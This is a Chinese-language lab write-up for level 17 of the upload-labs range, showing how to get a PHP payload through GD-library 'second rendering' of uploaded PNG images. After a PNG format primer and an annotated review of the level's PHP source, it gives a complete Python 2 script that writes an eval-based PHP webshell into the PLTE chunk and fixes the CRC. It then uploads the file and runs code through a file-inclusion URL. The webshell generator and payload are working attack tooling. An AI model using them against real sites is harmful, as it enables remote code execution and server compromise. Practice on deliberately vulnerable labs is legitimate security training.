upload-labs通关笔记-第17关文件上传之二次渲染png格式(python脚本法)

目录

一、PNG格式

二、源码分析

1、代码审计

2、二次渲染

三、Python脚本法

1、python脚本

2、上传图片马

3、访问图片马


本文通过《upload-labs通关笔记-第17关文件上传之二次渲染png格式(动态脚本法)》系列。二次渲染是防范文件上传的一种高级技术,通过使用服务器端图像处理库重新生成新的图片文件,这种方法大概率能消除文件中可能隐藏的恶意代码。而PNG格式较为复杂,首先在PNG格式添加恶意代码就很容易破坏图片导致渲染失败,再者即便添加成功隐藏的代码经过渲染很难保留下来,故而如何绕过二次渲染成功渗透是很难的技术问题,本节通过动态的python脚本制作png图片马来绕过二次渲染进行渗透实战。

一、PNG格式

PNG(便携式网络图形)是一种采用无损压缩的位图图像格式,旨在替代早期的GIF格式。其核心结构由文件签名和多个数据块(Chunks)组成:签名头固定为8字节的十六进制值(89 50 4E 47 0D 0A 1A 0A),用于标识文件类型。

组成部分 长度 描述
文件签名 8字节 固定值:89 50 4E 47 0D 0A 1A 0A
数据块序列 可变 由多个数据块组成(至少包含IHDR、IDAT、IEND)
IEND标记 12字节 文件结束标记

PNG格式的图片关键数据块包括IHDR(存储宽高、位深、颜色类型等元数据)、PLTE(索引颜色的调色板,仅颜色类型3时必需)、IDAT(存储经DEFLATE算法压缩的像素数据,可分段存储)和IEND(结束标记)。辅助块如tEXt(文本注释)、pHYs(物理像素尺寸)等以键值对形式存储元数据。文件安全性通过CRC校验保障,每个块尾含4字节校验码验证数据完整性。其中数据块(Chunk)通用结构如下表所示。

字段 长度 描述
Length 4字节 数据字段的字节数(不包括类型和CRC)
Chunk Type 4字节 ASCII字符标识块类型(大小写敏感)
Chunk Data 可变 实际数据内容(长度由Length字段指定)
CRC 4字节 循环冗余校验(校验Type和Data字段)

二、源码分析

进入靶场第17关二次渲染关卡,查看源码分析其功能。这段代码实现了一个图片上传并进行二次渲染的功能。它首先通过上传文件的扩展名和 MIME 类型进行白名单过滤,只允许上传 JPEG、PNG 和 GIF 格式且MIME正确的图片。对于符合要求的图片,会将其移动到指定的目标路径,然后使用 PHP 的 GD 库对图片进行渲染处理生成新图,并删除原始图片。由于本文只针对png类型的图片进行二次渲染绕过,故而对文件扩展名为PNG格式图片的相关代码进行详细注释,具体如下所示。

复制代码
// 检查文件扩展名和MIME类型是否为PNG
if(($fileext == "png") && ($filetype=="image/png")){
    
    // 将临时文件移动到目标路径($target_path是经过安全处理的存储路径)
    if(move_uploaded_file($tmpname,$target_path)){
        
        /******************** 二次渲染安全处理 ********************/
        // 使用GD库读取PNG文件(此函数会实际解析图像数据)
        $im = imagecreatefrompng($target_path);

        // 如果解析失败说明不是有效的PNG文件
        if($im == false){
            $msg = "该文件不是png格式的图片!";
            @unlink($target_path); // 删除已上传的无效文件
        }else{
            /******************** 安全设计随机文件名 ********************/
            // 生成随机文件名(防止文件名冲突/注入)
            srand(time()); // 初始化随机种子
            $newfilename = strval(rand()).".png"; // 纯数字随机名
            
            // 指定新文件存储路径(UPLOAD_PATH应定义为不可执行的目录)
            $img_path = UPLOAD_PATH.'/'.$newfilename;
            
            /******************** 关键安全操作 ********************/
            // 将图像重新输出为PNG(自动丢弃所有非像素数据)
            imagepng($im,$img_path);
            
            /******************** 清理操作 ********************/
            @unlink($target_path); // 删除原始上传文件(保留二次渲染后的安全文件)
            $is_upload = true; // 标记上传成功
            
            /* 
               此时$img_path存储的是:
               1. 经过GD库严格解析的纯净PNG
               2. 通过渲染移除了可能隐藏的注入代码
               3. 具有随机化的安全文件名
            */
        }
    } else {
        $msg = "上传出错!"; // 文件移动失败(权限/路径问题)
    }
}

1、代码审计

这段代码主要实现了对上传的 PNG 图片进行二次渲染的功能。它会先检查文件扩展名和 MIME 类型是否为 PNG,若符合要求则将文件从临时位置移动到目标位置,接着尝试通过使用渲染函数imagecreatefrompng创建图像资源。若创建成功,会生成一个新的随机文件名,将二次渲染后的图片保存到指定目录,并删除原始文件;若创建失败或文件移动失败,会给出相应的提示信息。

2、二次渲染

在源码中imagecreatefrompng函数就是文件上传中的渲染功能实现函数,也被称之为二次渲染。当用户上传图片至服务器时,二次渲染会启动一套严谨的安全处理机制。服务器首先获取图片文件,接着依据特定标准对图片数据进行深度解析,在这个过程中,会对图片的像素、色彩、格式等元素重新编排和处理。通过这种方式,将原本可能混杂着恶意代码、非法数据的原始图片,转化为纯净且安全的新图片。如此一来,最终存储在服务器上以及后续被调用使用的图片,都能避免恶意攻击风险,有效保障系统安全与数据稳定。完整的二次渲染通常包含如下流程。

步骤 具体操作
上传文件接收 服务器接收用户上传的图片文件,保存至临时目录
格式检查 检查文件是否为 JPEG、PNG、GIF 等合法图片格式,可通过检查扩展名、文件头信息及使用图片处理库判断
图片解码 使用图片处理库(如 PHP 的 GD 库、Imagick 扩展等)对上传图片解码,转换为内存中的图像对象
重新编码 对解码后的图像对象重新编码,生成新图片,过程中去除可能存在的恶意代码或非法数据
保存新图片 将重新编码后的图片保存到指定的存储目录

三、Python脚本法

PNG的文件格式有格式特性,就是在IDAT(图像数块)开始的地方写入字符串等等不会损坏图片的显示(一般在图片中注入脚本修改后都会变暗)。

1、python脚本

配置php脚本info_code,原始图片test.png,生成图片马名称为ljn_poc.png。

复制代码
info_code = '<?php @eval($_POST[ljn]);?>'
php_code = info_code
php_png = 'ljn_poc.png'
png_file = 'test.png'

参考大牛写的python脚本,执行后直接生成一个包含恶意代码的图片木马ljn_poc.png。

复制代码
# -*- coding: utf-8 -*-

"""
author: janes
"""

import binascii


class PNGError(Exception):

    def __init__(self, value):
        self.value = value

    def __str__(self):
        return repr(self.value)


class PNG(object):
    """
    read png file and modify png data to php code, just support index-color
    images.
    """

    def __init__(self, fname=None):
        if fname:
            self.openpng(fname)

    def openpng(self, fname):
        try:
            with open(fname, 'rb') as f:
                self.data = f.read()
        except:
            err_msg = "open {f} failed".format(f=fname)
            raise PNGError(err_msg)
            
        self.read_info()

    def read_info(self):
        try:
            self.signature = self.data[:8]
            self.depth = self.data[0x18]
            self.color_type = self.data[0x19]
        except:
            raise PNGError('invalid png data')

        if not self.check_signature():
            raise PNGError('check png signature error')
        if not self.check_type():
            raise PNGError('just support index-color images')
        if not self.check_plte():
            raise PNGError('check PLTE chunk error')

        pos = self.data.find('PLTE')
        self.plte_len = int(self.data[pos-4: pos].encode('hex'), 16)
        self.plte_pos = pos-4

    def check_signature(self):
        return self.signature == '89504e470d0a1a0a'.decode('hex')

    def check_type(self):
        return self.color_type == '03'.decode('hex')

    def check_plte(self):
        return self.data.find('PLTE') != -1

    def set_payload(self, payload):
        """
        set php code payload
        """
        code_len = len(payload)
        if code_len > self.depth*3:
            err_msg = "payload is too long, can't to add to png PLTE chunk"
            raise PNGError(err_msg)
        self.payload = payload

    def check_payload(self):
        return len(self.payload) <= self.plte_len

    def crc(self, data):
        return '%08x' % (binascii.crc32(data) & 0xffffffff)

    def modify_plte(self):
        if self.check_payload():
            im = list(self.data)
            payload_pos = self.plte_pos + 8
            # modify data to php code
            for i in range(len(self.payload)):
                im[payload_pos+i] = self.payload[i]

            crc_pos = self.plte_pos + 8 + self.plte_len
            crc_checks = self.crc(''.join(im[self.plte_pos+4: crc_pos]))
            crc_checks = crc_checks.decode('hex')
            # modify crc
            for i in range(4):
                im[crc_pos+i] = crc_checks[i]
            self.im = ''.join(im)
        else:
            code_len = len(self.payload)            # must be a multiple of 3
            add_len = code_len % 3
            if add_len:
                add_len = 3 - add_len
                
            plte_len = ('%08x' % (code_len+add_len)).decode('hex')
            plte_type = 'PLTE'
            plte_data = self.payload + ' ' * add_len
            plte_crc = self.crc(plte_type+plte_data).decode('hex')
            plte_chunk = plte_len + plte_type + plte_data + plte_crc

            im = self.data[:self.plte_pos]
            im += plte_chunk
            im += self.data[(self.plte_pos+12+self.plte_len):]
            self.im = im

    def save(self, imfile):
        with open(imfile, 'wb') as f:
            f.write(self.im)

if __name__ == "__main__":
    debug = 1
    if debug:
        info_code = '<?php @eval($_POST[ljn]);?>'

        php_code = info_code
        php_png = 'ljn_poc.png'
        png_file = 'test.png'
    else:
        import argparse

        parser = argparse.ArgumentParser()
        parser.add_argument('in_file', help='input png file')
        parser.add_argument('-p', dest='payload',
                help='php code to add to PLTE chunk', required=True)
        parser.add_argument('-o', dest="out_file", default='php.png',
                help='output png file, default is php.png')
        args = parser.parse_args()

        png_file = args.in_file
        php_code = args.payload
        php_png = args.out_file

    try:
        png = PNG()
        png.openpng(png_file)
        png.set_payload(php_code)
        png.modify_plte()
        png.save(php_png)
    except PNGError as e:
        print "Error massage: {}".format(e.value)

使用如下命令运行后生成ljn_poc.png,具体如下所示。

复制代码
python2 poc_png_ljn.py

如下所示,生成的图片种包含恶意脚本内容。

2、上传图片马

打开靶场17关二次渲染,按照要求将png后缀的图片马ljn_poc.png上传,具体如下所示。

上传成功后右键复制图片地址,具体如下所示。

获取到上传后被渲染处理后的图片马的完整URL地址如下所示。

复制代码
http://192.168.59.1/upload-labs/upload/30373.png

3、对比渲染前后图片

将渲染后的图片30373.png下载到本地,使用16进制比较工具将30373.png和原始图片马ljn_poc.png进行对比,可知渲染后的图片的脚本并未被渲染掉,具体对比如下所示。

4、访问图片马

upload-labs靶场中文件包含的首页地址如下所示。

复制代码
http://127.0.0.1/upload-labs/include.php

构造文件包含 恶意访问URL,参数为ljn

复制代码
http://127.0.0.1/upload-labs/include.php?file=upload/30373.png

为构造获取php版本信息post参数设置为phpinfo();,具体如下所示渗透成功。

复制代码
ljn=phpinfo();
相关推荐
Qaz555666913 小时前
网络安全笔记(第一二天)
笔记·安全·web安全
hzb666663 小时前
xd_day28js原生开发-day31 day41asp.net
开发语言·前端·javascript·安全·web安全
渐雨朦胧眼3 小时前
网络安全之防御保护笔记
笔记·安全·web安全
mooyuan天天15 小时前
CISP-PTE 文件上传关卡 渗透实战+代码审计
文件上传·文件上传漏洞·ctf-pte
轻造科技19 小时前
设备点检系统+移动端APP:替代纸质点检表,漏检率降为0
网络·安全·web安全
沈千秋.1 天前
文件包含[一道CTF题]
web安全·文件包含
祁白_1 天前
文件包含笔记整理
笔记·学习·安全·web安全
恃宠而骄的佩奇1 天前
网络安全面试题——安全服务
web安全·网络安全·面试·奇安信
乾元1 天前
当奥本海默遇到图灵:AI 开启的网络安全新纪元
服务器·网络·人工智能·网络协议·安全·web安全